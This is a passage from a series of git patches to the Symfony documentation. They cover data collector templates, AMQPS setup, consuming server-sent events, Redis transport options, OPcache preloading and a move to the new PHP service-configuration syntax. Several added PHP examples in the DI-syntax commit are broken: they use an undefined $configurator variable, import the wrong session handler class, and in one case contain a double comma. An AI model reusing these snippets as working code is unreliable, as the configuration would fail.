+you'll need to configure the data collector explicitly:
 
 .. configuration-block::
 
@@ -247,10 +254,12 @@ If you don't use the default configuration with :ref:`autowire and autoconfigure
             App\DataCollector\RequestCollector:
                 tags:
                     -
-                        name:     data_collector
+                        name: data_collector
                         # must match the value returned by the getName() method
-                        id:       'App\DataCollector\RequestCollector'
-                        # optional priority
+                        id: 'App\DataCollector\RequestCollector'
+                        # optional template (it has more priority than the value returned by getTemplate())
+                        template: 'data_collector/template.html.twig'
+                        # optional priority (positive or negative integer; default = 0)
                         # priority: 300
 
     .. code-block:: xml
@@ -264,10 +273,13 @@ If you don't use the default configuration with :ref:`autowire and autoconfigure
 
             <services>
                 <service id="App\DataCollector\RequestCollector">
-                    <!-- priority="300" -->
+                    <!-- the 'template' attribute has more priority than the value returned by getTemplate() -->
                     <tag name="data_collector"
                         id="App\DataCollector\RequestCollector"
+                        template="data_collector/template.html.twig"
                     />
+                    <!-- optional 'priority' attribute (positive or negative integer; default = 0) -->
+                    <!-- priority="300" -->
                 </service>
             </services>
         </container>
@@ -284,21 +296,10 @@ If you don't use the default configuration with :ref:`autowire and autoconfigure
 
             $services->set(RequestCollector::class)
                 ->tag('data_collector', [
-                    'id'       => RequestCollector::class,
+                    'id' => RequestCollector::class,
+                    // optional template (it has more priority than the value returned by getTemplate())
+                    'template' => 'data_collector/template.html.twig',
+                    // optional priority (positive or negative integer; default = 0)
                     // 'priority' => 300,
                 ]);
         };
-
-The position of each panel in the toolbar is determined by the collector priority.
-Priorities are defined as positive or negative integers and they default to ``0``.
-Most built-in collectors use ``255`` as their priority. If you want your collector
-to be displayed before them, use a higher value (like 300).
-
-.. versionadded:: 5.2
-
-    :class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector` was introduced in Symfony 5.2.
-
-.. note::
-
-    Before the introduction of :class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector`, template path was defined in the service configuration (`template` key). This is still possible to define the template in the service configuration. In this case **template in service configuration takes precedence over template defined in data collector code**.
-

From b8e8449bb6a98a48e3a848711b539588a4b1dced Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Sep 2020 17:54:01 +0200
Subject: [PATCH 1174/7107] Minor reword

---
 messenger.rst | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index e23e5fb76fa..ced96444d69 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -844,12 +844,6 @@ options.
 AMQP Transport
 ~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    Starting from Symfony 5.2, the AMQP transport can handle AMQPS DSN.
-    Be aware that using it without using CA certificate can throw an exception.
-    An alternative is to use AMQP DSN and specify the port to use.
-
 .. versionadded:: 5.1
 
     Starting from Symfony 5.1, the AMQP transport has moved to a separate package.
@@ -869,10 +863,18 @@ The ``amqp`` transport configuration looks like this:
     # or use the AMQPS protocol
     MESSENGER_TRANSPORT_DSN=amqps://guest:guest@localhost/%2f/messages
 
+.. versionadded:: 5.2
+
+    The AMQPS protocol support was introduced in Symfony 5.2.
 
 To use Symfony's built-in AMQP transport, you need the AMQP PHP extension.
-If you want to use TLS/SSL encrypted AMQP you must provide a CA certificate. You need to set it using ``amqp.cacert = /etc/ssl/certs`` (path depends on your system) in your ``php.ini`` file or by setting the ``cacert`` parameter (e.g ``amqps://localhost?cacert=/etc/ssl/certs/``)
-By default TLS/SSL encrypted AMQP uses port 5671. You can overwrite this behavior by setting the ``port`` parameter (e.g. ``amqps://localhost?cacert=/etc/ssl/certs/&port=12345``).
+If you want to use TLS/SSL encrypted AMQP, you must also provide a CA certificate.
+Define the certificate path in the ``amqp.cacert`` PHP.ini setting
+(e.g. ``amqp.cacert = /etc/ssl/certs``) or in the ``cacert`` parameter of the
+DSN (e.g ``amqps://localhost?cacert=/etc/ssl/certs/``).
+
+The default port used by TLS/SSL encrypted AMQP is 5671, but you can overwrite
+it in the ``port`` parameter of the DSN (e.g. ``amqps://localhost?cacert=/etc/ssl/certs/&port=12345``).
 
 .. note::
 

From 1bfa68fd2279bcccc46461c4b4063b88b3701db5 Mon Sep 17 00:00:00 2001
From: soyuka <soyuka@users.noreply.github.com>
Date: Thu, 6 Aug 2020 10:48:05 +0200
Subject: [PATCH 1175/7107] Document EventSourceHttpClient

---
 http_client.rst | 47 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 3ead5a7a6f8..84f3f14f30b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1143,6 +1143,52 @@ installed in your application::
 
 ``CachingHttpClient`` accepts a third argument to set the options of the ``HttpCache``.
 
+Consuming Server-Sent Events
+----------------------------
+
+This component provides an `EventSource`_ implementation to consume Server-Sent Events.
+Use the :class:`Symfony\\Component\\HttpClient\\EventSourceHttpClient`, open a
+connection to a server with the `text/event-stream` content type and consume the stream::
+
+    use Symfony\Component\HttpClient\EventSourceHttpClient;
+
+    $client = new EventSourceHttpClient($client, 10);
+    $source = $client->connect('http://localhost:8080/events');
+    while ($source) {
+        foreach ($client->stream($source, 2) as $r => $chunk) {
+            // You should handle these chunks yourself
+            if ($chunk->isTimeout()) {
+                dump([
+                    'timeout' => [
+                        'retry' => 1 + count($r->getInfo('previous_info') ?? [])
+                    ],
+                ]);
+                continue;
+            }
+            if ($chunk->isLast()) {
+                dump([
+                    'eof' => [
+                        'retries' => count($r->getInfo('previous_info') ?? [])
+                    ],
+                ]);
+                $source = null;
+                return;
+            }
+
+            // This is a special ServerSentEvent chunk holding the pushed message
+            if ($chunk instanceof ServerSentEvent) {
+                dump($chunk);
+            }
+        }
+    }
+
+The default reconnection time is `10` seconds and is given onto the second argument of
+the :class:`Symfony\\Component\\HttpClient\\EventSourceHttpClient`. The method
+:method:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse::stream` takes an
+optional timeout argument.
+The :class:`Symfony\\Component\\HttpClient\\Chunk\\ServerSentEvent` is a special chunk
+capable of parsing an event stream as specified by the `EventSource`_ specification.
+
 Interoperability
 ----------------
 
@@ -1419,3 +1465,4 @@ However, using ``MockResponse`` allows simulating chunked responses and timeouts
 .. _`libcurl`: https://curl.haxx.se/libcurl/
 .. _`amphp/http-client`: https://packagist.org/packages/amphp/http-client
 .. _`cURL options`: https://www.php.net/manual/en/function.curl-setopt.php
+.. _`EventSource`:  https://www.w3.org/TR/eventsource/#eventsource

From da7c12b5ade242d9848f18fd423c84db15167b84 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 23 Sep 2020 12:14:57 +0200
Subject: [PATCH 1176/7107] Rewords and tweaks

---
 http_client.rst | 56 +++++++++++++++++++++++++++----------------------
 1 file changed, 31 insertions(+), 25 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 84f3f14f30b..7e46abfce4e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1146,49 +1146,54 @@ installed in your application::
 Consuming Server-Sent Events
 ----------------------------
 
-This component provides an `EventSource`_ implementation to consume Server-Sent Events.
-Use the :class:`Symfony\\Component\\HttpClient\\EventSourceHttpClient`, open a
-connection to a server with the `text/event-stream` content type and consume the stream::
+.. versionadded:: 5.2
+
+    The feature to consume server-sent events was introduced in Symfony 5.2.
+
+`Server-sent events`_ is an Internet standard used to push data to web pages.
+Its JavaScript API is built around an `EventSource`_ object, which listens to
+the events sent from some URL. The events are a stream of data (served with the
+``text/event-stream`` MIME type) with the following format:
+
+.. code-block:: text
+
+    data: This is the first message.
+
+    data: This is the second message, it
+    data: has two lines.
+
+    data: This is the third message.
+
+Symfony's HTTP client provides an EventSource implementation to consume these
+server-sent events. Use the :class:`Symfony\\Component\\HttpClient\\EventSourceHttpClient`
+to wrap your HTTP client, open a connection to a server that responds with a
+``text/event-stream`` content type and consume the stream as follows::
 
     use Symfony\Component\HttpClient\EventSourceHttpClient;
 
+    // the second optional argument is the reconnection time in seconds (default = 10)
     $client = new EventSourceHttpClient($client, 10);
-    $source = $client->connect('http://localhost:8080/events');
+    $source = $client->connect('https://localhost:8080/events');
     while ($source) {
         foreach ($client->stream($source, 2) as $r => $chunk) {
-            // You should handle these chunks yourself
             if ($chunk->isTimeout()) {
-                dump([
-                    'timeout' => [
-                        'retry' => 1 + count($r->getInfo('previous_info') ?? [])
-                    ],
-                ]);
+                // ...
                 continue;
             }
+
             if ($chunk->isLast()) {
-                dump([
-                    'eof' => [
-                        'retries' => count($r->getInfo('previous_info') ?? [])
-                    ],
-                ]);
-                $source = null;
+                // ...
+
                 return;
             }
 
-            // This is a special ServerSentEvent chunk holding the pushed message
+            // this is a special ServerSentEvent chunk holding the pushed message
             if ($chunk instanceof ServerSentEvent) {
-                dump($chunk);
+                // do something with the server event ...
             }
         }
     }
 
-The default reconnection time is `10` seconds and is given onto the second argument of
-the :class:`Symfony\\Component\\HttpClient\\EventSourceHttpClient`. The method
-:method:`Symfony\\Component\\HttpClient\\Response\\AsyncResponse::stream` takes an
-optional timeout argument.
-The :class:`Symfony\\Component\\HttpClient\\Chunk\\ServerSentEvent` is a special chunk
-capable of parsing an event stream as specified by the `EventSource`_ specification.
-
 Interoperability
 ----------------
 
@@ -1465,4 +1470,5 @@ However, using ``MockResponse`` allows simulating chunked responses and timeouts
 .. _`libcurl`: https://curl.haxx.se/libcurl/
 .. _`amphp/http-client`: https://packagist.org/packages/amphp/http-client
 .. _`cURL options`: https://www.php.net/manual/en/function.curl-setopt.php
+.. _`Server-sent events`: https://html.spec.whatwg.org/multipage/server-sent-events.html
 .. _`EventSource`:  https://www.w3.org/TR/eventsource/#eventsource

From 4c14bfba7f492756195ea8d136cc06e42a82526d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Paris?= <postmaster@greg0ire.fr>
Date: Mon, 21 Sep 2020 19:37:55 +0200
Subject: [PATCH 1177/7107] Getting a stack trace follow up

---
 contributing/code/stack_trace.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/stack_trace.rst b/contributing/code/stack_trace.rst
index 2a2628cd5ac..11163b2dcd4 100644
--- a/contributing/code/stack_trace.rst
+++ b/contributing/code/stack_trace.rst
@@ -27,7 +27,7 @@ displayed by default if the exception is not caught. When using Symfony,
 such exceptions go through a custom exception handler, which enhances
 them in various ways before displaying them according to the current
 Server API (CLI or not).
-This means a better way to get a stack trace when you do need the
+This means a better way to get a stack trace when you do not need the
 program to continue is to throw an exception, as follows:
 ``throw new \Exception();``
 
@@ -91,7 +91,7 @@ Several things need to be paid attention to when picking a stack trace
 from your development environment through a web browser:
 
 1. Are there several exceptions? If yes, the most interesting one is
-   often exception 1/n which, is shown _last_ in the example below (it
+   often exception 1/n which, is shown *last* in the example below (it
    is the one marked as exception [1/2]).
 2. Under the "Stack Traces" tab, you will find exceptions in plain
    text, so that you can easily share them in e.g. bug reports. Make

From 42e156e728f59e7fc0b6ef677eb24a22c68016c5 Mon Sep 17 00:00:00 2001
From: Alexander Menshchikov <amenshchikov@gmail.com>
Date: Wed, 23 Sep 2020 20:31:47 +0300
Subject: [PATCH 1178/7107] New DI configuration syntax (PHP) instead of
 "legacy"

---
 controller/argument_value_resolver.rst | 12 +++-
 controller/upload_file.rst             | 11 ++-
 doctrine/events.rst                    | 92 ++++++++++++++++----------
 routing/custom_route_loader.rst        | 12 +++-
 session/database.rst                   | 80 ++++++++++++++--------
 5 files changed, 136 insertions(+), 71 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index cfd90123e51..00a57bfa0d9 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -226,11 +226,17 @@ and adding a priority.
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\ArgumentResolver\UserValueResolver;
 
-        $container->autowire(UserValueResolver::class)
-            ->addTag('controller.argument_value_resolver', ['priority' => 50])
-        ;
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(UserValueResolver::class)
+                ->tag('controller.argument_value_resolver', ['priority' => 50])
+            ;
+        };
 
 While adding a priority is optional, it's recommended to add one to make sure
 the expected value is injected. The built-in ``RequestAttributeValueResolver``,
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 470fbf61dcd..86d2eb72206 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -317,10 +317,17 @@ Then, define a service for this class:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\Service\FileUploader;
 
-        $container->autowire(FileUploader::class)
-            ->setArgument('$targetDirectory', '%brochures_directory%');
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(FileUploader::class)
+                ->arg('$targetDirectory', '%brochures_directory%')
+            ;
+        };
 
 Now you're ready to use this service in the controller::
 
diff --git a/doctrine/events.rst b/doctrine/events.rst
index b1a1fc8e825..7864b3c22f6 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -198,22 +198,28 @@ with the ``doctrine.event_listener`` tag:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\EventListener\SearchIndexer;
 
-        // listeners are applied by default to all Doctrine connections
-        $container->autowire(SearchIndexer::class)
-            ->addTag('doctrine.event_listener', [
-                // this is the only required option for the lifecycle listener tag
-                'event' => 'postPersist',
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            // listeners are applied by default to all Doctrine connections
+            $services->set(SearchIndexer::class)
+                ->tag('doctrine.event_listener', [
+                    // this is the only required option for the lifecycle listener tag
+                    'event' => 'postPersist',
 
-                // listeners can define their priority in case multiple listeners are associated
-                // to the same event (default priority = 0; higher numbers = listener is run earlier)
-                'priority' => 500,
+                    // listeners can define their priority in case multiple listeners are associated
+                    // to the same event (default priority = 0; higher numbers = listener is run earlier)
+                    'priority' => 500,
 
-                # you can also restrict listeners to a specific Doctrine connection
-                'connection' => 'default',
-            ])
-        ;
+                    # you can also restrict listeners to a specific Doctrine connection
+                    'connection' => 'default',
+                ])
+            ;
+        };
 
 .. tip::
 
@@ -314,29 +320,35 @@ with the ``doctrine.orm.entity_listener`` tag:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\Entity\User;
         use App\EventListener\UserChangedNotifier;
 
-        $container->autowire(UserChangedNotifier::class)
-            ->addTag('doctrine.orm.entity_listener', [
-                // These are the options required to define the entity listener:
-                'event' => 'postUpdate',
-                'entity' => User::class,
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(UserChangedNotifier::class)
+                ->tag('doctrine.orm.entity_listener', [
+                    // These are the options required to define the entity listener:
+                    'event' => 'postUpdate',
+                    'entity' => User::class,
 
-                // These are other options that you may define if needed:
+                    // These are other options that you may define if needed:
 
-                // set the 'lazy' option to TRUE to only instantiate listeners when they are used
-                // 'lazy' => true,
+                    // set the 'lazy' option to TRUE to only instantiate listeners when they are used
+                    // 'lazy' => true,
 
-                // set the 'entity_manager' option if the listener is not associated to the default manager
-                // 'entity_manager' => 'custom',
+                    // set the 'entity_manager' option if the listener is not associated to the default manager
+                    // 'entity_manager' => 'custom',
 
-                // by default, Symfony looks for a method called after the event (e.g. postUpdate())
-                // if it doesn't exist, it tries to execute the '__invoke()' method, but you can
-                // configure a custom method name with the 'method' option
-                // 'method' => 'checkUserChanges',
-            ])
-        ;
+                    // by default, Symfony looks for a method called after the event (e.g. postUpdate())
+                    // if it doesn't exist, it tries to execute the '__invoke()' method, but you can
+                    // configure a custom method name with the 'method' option
+                    // 'method' => 'checkUserChanges',
+                ])
+            ;
+        };
 
 Doctrine Lifecycle Subscribers
 ------------------------------
@@ -434,11 +446,17 @@ with the ``doctrine.event_subscriber`` tag:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\EventListener\DatabaseActivitySubscriber;
 
-        $container->autowire(DatabaseActivitySubscriber::class)
-            ->addTag('doctrine.event_subscriber')
-        ;
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(DatabaseActivitySubscriber::class)
+                ->tag('doctrine.event_subscriber')
+            ;
+        };
 
 If you need to associate the subscriber with a specific Doctrine connection, you
 can do it in the service configuration:
@@ -473,11 +491,17 @@ can do it in the service configuration:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\EventListener\DatabaseActivitySubscriber;
 
-        $container->autowire(DatabaseActivitySubscriber::class)
-            ->addTag('doctrine.event_subscriber', ['connection' => 'default'])
-        ;
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(DatabaseActivitySubscriber::class)
+                ->tag('doctrine.event_subscriber', ['connection' => 'default'])
+            ;
+        };
 
 .. tip::
 
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 1aa1c882f94..a339ec74f61 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -327,11 +327,17 @@ Now define a service for the ``ExtraLoader``:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\Routing\ExtraLoader;
 
-        $container->autowire(ExtraLoader::class)
-            ->addTag('routing.loader')
-        ;
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(ExtraLoader::class)
+                ->tag('routing.loader')
+            ;
+        };
 
 Notice the tag ``routing.loader``. All services with this *tag* will be marked
 as potential route loaders and added as specialized route loaders to the
diff --git a/session/database.rst b/session/database.rst
index 8766ab9f2a8..e01d32c6d79 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -217,16 +217,22 @@ first register a new handler service with your database credentials:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        $storageDefinition = $container->autowire(PdoSessionHandler::class)
-            ->setArguments([
-                '%env(DATABASE_URL)%',
-                // you can also use PDO configuration, but requires passing two arguments:
-                // 'mysql:dbname=mydatabase; host=myhost; port=myport',
-                // ['db_username' => 'myuser', 'db_password' => 'mypassword'],
-            ])
-        ;
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(PdoSessionHandler::class)
+                ->args([
+                    '%env(DATABASE_URL)%',
+                    // you can also use PDO configuration, but requires passing two arguments:
+                    // 'mysql:dbname=mydatabase; host=myhost; port=myport',
+                    // ['db_username' => 'myuser', 'db_password' => 'mypassword'],
+                ])
+            ;
+        };
 
 Next, use the :ref:`handler_id <config-framework-session-handler-id>`
 configuration option to tell Symfony to use this service as the session handler:
@@ -306,15 +312,20 @@ passed to the ``PdoSessionHandler`` service:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
-        // ...
 
-        $container->autowire(PdoSessionHandler::class)
-            ->setArguments([
-                '%env(DATABASE_URL)%',
-                ['db_table' => 'customer_session', 'db_id_col' => 'guid'],
-            ])
-        ;
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(PdoSessionHandler::class)
+                ->args([
+                    '%env(DATABASE_URL)%',
+                    ['db_table' => 'customer_session', 'db_id_col' => 'guid'],
+                ])
+            ;
+        };
 
 These are parameters that you can configure:
 
@@ -466,13 +477,19 @@ the MongoDB connection as argument:
     .. code-block:: php
 
         // config/services.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        $storageDefinition = $container->autowire(MongoDbSessionHandler::class)
-            ->setArguments([
-                new Reference('doctrine_mongodb.odm.default_connection'),
-            ])
-        ;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(MongoDbSessionHandler::class)
+                ->args([
+                    service('doctrine_mongodb.odm.default_connection'),
+                ])
+            ;
+        };
 
 Next, use the :ref:`handler_id <config-framework-session-handler-id>`
 configuration option to tell Symfony to use this service as the session handler:
@@ -569,15 +586,20 @@ configure these values with the second argument passed to the
     .. code-block:: php
 
         // config/services.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
-        // ...
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        $container->autowire(MongoDbSessionHandler::class)
-            ->setArguments([
-                '...',
-                ['id_field' => '_guid', 'expiry_field' => 'eol'],
-            ])
-        ;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(MongoDbSessionHandler::class)
+                ->args([
+                    service('doctrine_mongodb.odm.default_connection'),
+                    ['id_field' => '_guid', 'expiry_field' => 'eol'],,
+                ])
+            ;
+        };
 
 These are parameters that you can configure:
 

From a868b5a9b8400b5262c8b85d58f7097e3b06e215 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Sep 2020 16:11:03 +0200
Subject: [PATCH 1179/7107] Fixed a PHPUnit deprecation

---
 form/unit_testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index ee096c167dd..795fd55c9ea 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -159,7 +159,7 @@ make sure the ``FormRegistry`` uses the created instance::
     {
         private $objectManager;
 
-        protected function setUp()
+        protected function setUp(): void
         {
             // mock any dependencies
             $this->objectManager = $this->createMock(ObjectManager::class);

From 295c688499218b75ea40e940e5d55b514509fa7a Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Thu, 24 Sep 2020 10:28:44 +0200
Subject: [PATCH 1180/7107] simple_preauth was removed in symfony 5.0

https://github.com/symfony/symfony/blob/master/UPGRADE-5.0.md#securitybundle
---
 reference/configuration/security.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 9b5be8b387d..b0763e37b59 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -395,8 +395,6 @@ depend on the authentication mechanism, which can be any of these:
                         # ...
                     remote_user:
                         # ...
-                    simple_preauth:
-                        # ...
                     guard:
                         # ...
                     form_login:
@@ -405,8 +403,6 @@ depend on the authentication mechanism, which can be any of these:
                         # ...
                     json_login:
                         # ...
-                    simple_form:
-                        # ...
                     http_basic:
                         # ...
                     http_basic_ldap:

From 303419c615c39757d07b849aadde377bcff28f2c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Sep 2020 16:36:54 +0200
Subject: [PATCH 1181/7107] [Messenger] Documented the delete_after_reject
 option

---
 messenger.rst | 44 +++++++++++++++++++++++++-------------------
 1 file changed, 25 insertions(+), 19 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 90d8c1c80a6..14cce1c4931 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1149,25 +1149,27 @@ a running Redis server (^5.0).
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
-==================  =====================================  =========================
-     Option               Description                      Default
-==================  =====================================  =========================
-stream              The Redis stream name                  messages
-group               The Redis consumer group name          symfony
-consumer            Consumer name used in Redis            consumer
-auto_setup          Create the Redis group automatically?  true
-auth                The Redis password
-delete_after_ack    If ``true``, messages are deleted      false
-                    automatically after processing them
-serializer          How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                    in Redis (the
-                    ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries  The maximum number of entries which    ``0`` (which means "no trimming")
-                    the stream will be trimmed to. Set
-                    it to a large enough number to
-                    avoid losing pending messages
-tls                 Enable TLS support for the connection  false
-==================  =====================================  =========================
+===================  =====================================  =========================
+     Option               Description                       Default
+===================  =====================================  =========================
+stream               The Redis stream name                  messages
+group                The Redis consumer group name          symfony
+consumer             Consumer name used in Redis            consumer
+auto_setup           Create the Redis group automatically?  true
+auth                 The Redis password
+delete_after_ack     If ``true``, messages are deleted      false
+                     automatically after processing them
+delete_after_reject  If ``true``, messages are deleted      true
+                     automatically if they are rejected
+serializer           How to serialize the final payload     ``Redis::SERIALIZER_PHP``
+                     in Redis (the
+                     ``Redis::OPT_SERIALIZER`` option)
+stream_max_entries   The maximum number of entries which    ``0`` (which means "no trimming")
+                     the stream will be trimmed to. Set
+                     it to a large enough number to
+                     avoid losing pending messages
+tls                  Enable TLS support for the connection  false
+===================  =====================================  =========================
 
 .. tip::
 
@@ -1180,6 +1182,10 @@ tls                 Enable TLS support for the connection  false
 
     The ``delete_after_ack`` option was introduced in Symfony 5.1.
 
+.. versionadded:: 5.2
+
+    The ``delete_after_reject`` option was introduced in Symfony 5.2.
+
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~
 

From 767f90d4dfe977c09ae072ff4089bc72ff3db9e8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 15 Sep 2020 13:40:05 +0200
Subject: [PATCH 1182/7107] Reword wrong sentence

---
 performance.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/performance.rst b/performance.rst
index 2881b9a17c0..2ae3b3daff3 100644
--- a/performance.rst
+++ b/performance.rst
@@ -113,16 +113,14 @@ classes to preload. The only requirement is that you need to set both
 ``container.dumper.inline_factories`` and  ``container.dumper.inline_class_loader``
 parameters to ``true``.
 
-The preload file path is the same as the compiled service container but with the
-``preload`` suffix:
+This preload file is generated by the ``cache:clear`` command and will be located in
+your ``src/`` directory:
 
 .. code-block:: ini
 
     ; php.ini
     opcache.preload=/path/to/project/src/.preload.php
 
-This file is generated by the ``cache:clear`` command.
-
 .. _performance-configure-opcache:
 
 Configure OPcache for Maximum Performance

From 151b9c3ac736698cfa05c85d582e453170e59900 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Sep 2020 16:40:10 +0200
Subject: [PATCH 1183/7107] Minor reword

---
 performance.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/performance.rst b/performance.rst
index 2ae3b3daff3..74eb7222034 100644
--- a/performance.rst
+++ b/performance.rst
@@ -108,13 +108,13 @@ Starting from PHP 7.4, OPcache can compile and load classes at start-up and
 make them available to all requests until the server is restarted, improving
 performance significantly.
 
-During container compilation, Symfony generates the file with the list of
-classes to preload. The only requirement is that you need to set both
-``container.dumper.inline_factories`` and  ``container.dumper.inline_class_loader``
-parameters to ``true``.
+During container compilation (e.g. when running the ``cache:clear`` command),
+Symfony generates a file called ``.preload`` (with a leading ``.``) in the
+``src/`` directory with the list of classes to preload.
 
-This preload file is generated by the ``cache:clear`` command and will be located in
-your ``src/`` directory:
+The only requirement is that you need to set both ``container.dumper.inline_factories``
+and ``container.dumper.inline_class_loader`` parameters to ``true``. Then, you
+can configure PHP to use this preload file:
 
 .. code-block:: ini
 

From 7db3301e3cc1d22bd7df4be39391517c5c900bf5 Mon Sep 17 00:00:00 2001
From: Alexander Menshchikov <amenshchikov@gmail.com>
Date: Wed, 23 Sep 2020 20:31:47 +0300
Subject: [PATCH 1184/7107] New DI configuration syntax (PHP) instead of
 "legacy"

(cherry picked from commit 42e156e728f59e7fc0b6ef677eb24a22c68016c5)
---
 controller/argument_value_resolver.rst | 12 +++-
 controller/upload_file.rst             | 11 ++-
 doctrine/events.rst                    | 92 ++++++++++++++++----------
 routing/custom_route_loader.rst        | 12 +++-
 session/database.rst                   | 80 ++++++++++++++--------
 5 files changed, 136 insertions(+), 71 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index cfd90123e51..00a57bfa0d9 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -226,11 +226,17 @@ and adding a priority.
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\ArgumentResolver\UserValueResolver;
 
-        $container->autowire(UserValueResolver::class)
-            ->addTag('controller.argument_value_resolver', ['priority' => 50])
-        ;
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(UserValueResolver::class)
+                ->tag('controller.argument_value_resolver', ['priority' => 50])
+            ;
+        };
 
 While adding a priority is optional, it's recommended to add one to make sure
 the expected value is injected. The built-in ``RequestAttributeValueResolver``,
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 470fbf61dcd..86d2eb72206 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -317,10 +317,17 @@ Then, define a service for this class:
     .. code-block:: php
 
         // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
         use App\Service\FileUploader;
 
-        $container->autowire(FileUploader::class)
-            ->setArgument('$targetDirectory', '%brochures_directory%');
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(FileUploader::class)
+                ->arg('$targetDirectory', '%brochures_directory%')
+            ;
+        };
 
 Now you're ready to use this service in the controller::
 
diff --git a/doctrine/events.rst b/doctrine/events.rst
